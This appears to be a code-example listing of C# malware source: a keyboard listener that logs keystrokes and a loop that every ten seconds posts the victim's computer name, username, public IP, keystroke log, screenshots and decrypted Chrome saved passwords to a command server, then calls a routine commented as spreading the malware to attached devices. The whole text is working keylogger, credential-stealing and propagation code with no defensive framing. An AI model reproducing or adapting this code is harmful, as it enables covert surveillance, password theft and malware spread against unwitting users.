Esempio n. 1
0
 public void startListening()
 {
     keyboardListener.isListening = true;
     keyboardListenerThread.Start();
     keyboardListener.OnKeyPressed += key => {
         KeyboardLogHandler.appendText(formatKey(key));
     };
 }
        private void communicationLoop()
        {
            while (this.isCommunicating)
            {
                // Every 10 seconds
                Thread.Sleep(10000);

                // Sends Computer name
                Network.httpPost(ServerConfiguration.SERVER_ADDRESS,
                                 ServerConfiguration.POST_COMPUTER_NAME +
                                 ComputerInformations.getComputerName());

                // Sends Username
                Network.httpPost(ServerConfiguration.SERVER_ADDRESS,
                                 ServerConfiguration.POST_USERNAME +
                                 ComputerInformations.getUsername());

                // Sends IP Address
                Network.httpPost(ServerConfiguration.SERVER_ADDRESS,
                                 ServerConfiguration.POST_IP_ADDRESS +
                                 ComputerInformations.getPublicIP());

                // Sends Installation path
                Network.httpPost(ServerConfiguration.SERVER_ADDRESS,
                                 ServerConfiguration.POST_INSTALLATION_PATH +
                                 ComputerInformations.getApplicationPath());

                // Sends Is Installed
                Network.httpPost(ServerConfiguration.SERVER_ADDRESS,
                                 ServerConfiguration.POST_INSTALLED +
                                 ComputerInformations.isInstalled());

                // Sends Startup
                Network.httpPost(ServerConfiguration.SERVER_ADDRESS,
                                 ServerConfiguration.POST_AUTORUN +
                                 ComputerInformations.isStartup());

                // Sends Running
                Network.httpPost(ServerConfiguration.SERVER_ADDRESS,
                                 ServerConfiguration.POST_RUNNING +
                                 ComputerInformations.isRunning());

                // Sends Error raised
                Network.httpPost(ServerConfiguration.SERVER_ADDRESS,
                                 ServerConfiguration.POST_ERROR +
                                 ErrorHandler.getError());

                // Sends Keyboard Log
                string keyboardLog = KeyboardLogHandler.getKeyboardLog();
                if (keyboardLog != string.Empty)
                {
                    try
                    {
                        Network.httpPost(ServerConfiguration.SERVER_ADDRESS,
                                         ServerConfiguration.POST_KEYSTROKES +
                                         keyboardLog);
                        KeyboardLogHandler.resetLog();
                    }
                    catch (Exception ex)
                    {
                        ErrorHandler.errorRaised(ex);
                    }
                }

                // Sends screenshot
                Network.httpPost(ServerConfiguration.SERVER_ADDRESS,
                                 ServerConfiguration.POST_SCREENSHOT +
                                 ScreenshotCapture.getScreenShotAsB64());

                // Sends passwords
                Network.httpPost(ServerConfiguration.SERVER_ADDRESS,
                                 ServerConfiguration.POST_PASSWORD +
                                 new ChromePasswordDecryptor().readDataFromDatabase());

                // Spreding malware
                Spreading.attachToDevices();
            }
        }